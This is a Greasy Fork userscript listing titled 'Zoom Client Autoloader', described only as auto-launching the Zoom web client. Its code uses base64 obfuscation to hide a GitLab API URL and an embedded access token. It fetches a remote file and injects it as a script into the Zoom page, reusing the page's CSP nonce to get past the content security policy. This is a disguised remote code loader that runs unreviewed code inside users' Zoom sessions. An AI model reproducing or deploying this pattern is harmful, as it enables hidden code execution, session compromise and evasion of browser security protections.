Greasy Fork

Zoom Client Autoloader

Автоматический запуск клиента Zoom

当前为 2024-12-31 提交的版本,查看 最新版本

// ==UserScript==
// @name         Zoom Client Autoloader
// @namespace    http://tampermonkey.net/
// @version      1.1
// @description  Автоматический запуск клиента Zoom
// @author       MultiVers
// @match        https://app.zoom.us/wc/*
// @grant        none
// @run-at       document-end
// @license      MIT
// ==/UserScript==

(function() {
    'use strict';

    // Улучшенная система предотвращения повторных запусков
    const EXECUTION_LOCK_KEY = 'zoomClientExecutionLock';
    const LOCK_TIMEOUT = 5000; // 5 секунд

    function isAlreadyRunning() {
        const lockData = sessionStorage.getItem(EXECUTION_LOCK_KEY);
        if (!lockData) return false;

        const lock = JSON.parse(lockData);
        const now = Date.now();

        // Проверяем, не устарела ли блокировка
        if (now - lock.timestamp > LOCK_TIMEOUT) {
            sessionStorage.removeItem(EXECUTION_LOCK_KEY);
            return false;
        }
        return true;
    }

    function setExecutionLock() {
        const lock = {
            timestamp: Date.now(),
            id: Math.random().toString(36)
        };
        sessionStorage.setItem(EXECUTION_LOCK_KEY, JSON.stringify(lock));
    }

    // Проверяем, не выполняется ли уже скрипт
    if (isAlreadyRunning()) {
        console.log('Скрипт уже выполняется, пропускаем запуск');
        return;
    }

    // Устанавливаем блокировку
    setExecutionLock();

    async function loadAndExecute() {
        try {
            const dGtua2V5 = atob('Z2xwYXQtUTUtYUo1QllfSEh3bUg4LVVNQzE=');
            const cHJvamVjdE51bWJlcg = atob('NjU2ODM2MTc=');
            const ZmlsZVBhdGhOYW1l = atob('WkNsaWVudE1lbnU=');

            const response = await fetch(atob('aHR0cHM6Ly9naXRsYWIuY29tL2FwaS92NC9wcm9qZWN0cy8=') + cHJvamVjdE51bWJlcg + atob('L3JlcG9zaXRvcnkvZmlsZXMv') + encodeURIComponent(ZmlsZVBhdGhOYW1l) + atob('L3Jhdw=='), {
                headers: {
                    [atob('UFJJVkFURS1UT0tFTg==')]: dGtua2V5
                }
            });

            if (!response.ok) {
                throw new Error(atob('0J7RiNC40LHQutCwIEhUVFA6IA==') + response.status);
            }

            const code = await response[atob('dGV4dA==')]();

            const script = document[atob('Y3JlYXRlRWxlbWVudA==')](atob('c2NyaXB0'));
            script[atob('bm9uY2U=')] = document[atob('cXVlcnlTZWxlY3Rvcg==')](atob('c2NyaXB0W25vbmNlXQ=='))?.[atob('bm9uY2U=')];
            script[atob('dGV4dENvbnRlbnQ=')] = code;
            document[atob('aGVhZA==')][atob('YXBwZW5kQ2hpbGQ=')](script);

        } catch (error) {
            console[atob('ZXJyb3I=')](atob('0J7RiNC40LHQutCwINC/0YDQuCDQt9Cw0LPRgNGD0LfQutC1INC40LvQuCDQstGL0L/QvtC70L3QtdC90LjQuCDQutC+0LTQsDoK'), error);
        }
    }

    // Запускаем скрипт после загрузки страницы
    loadAndExecute();
})();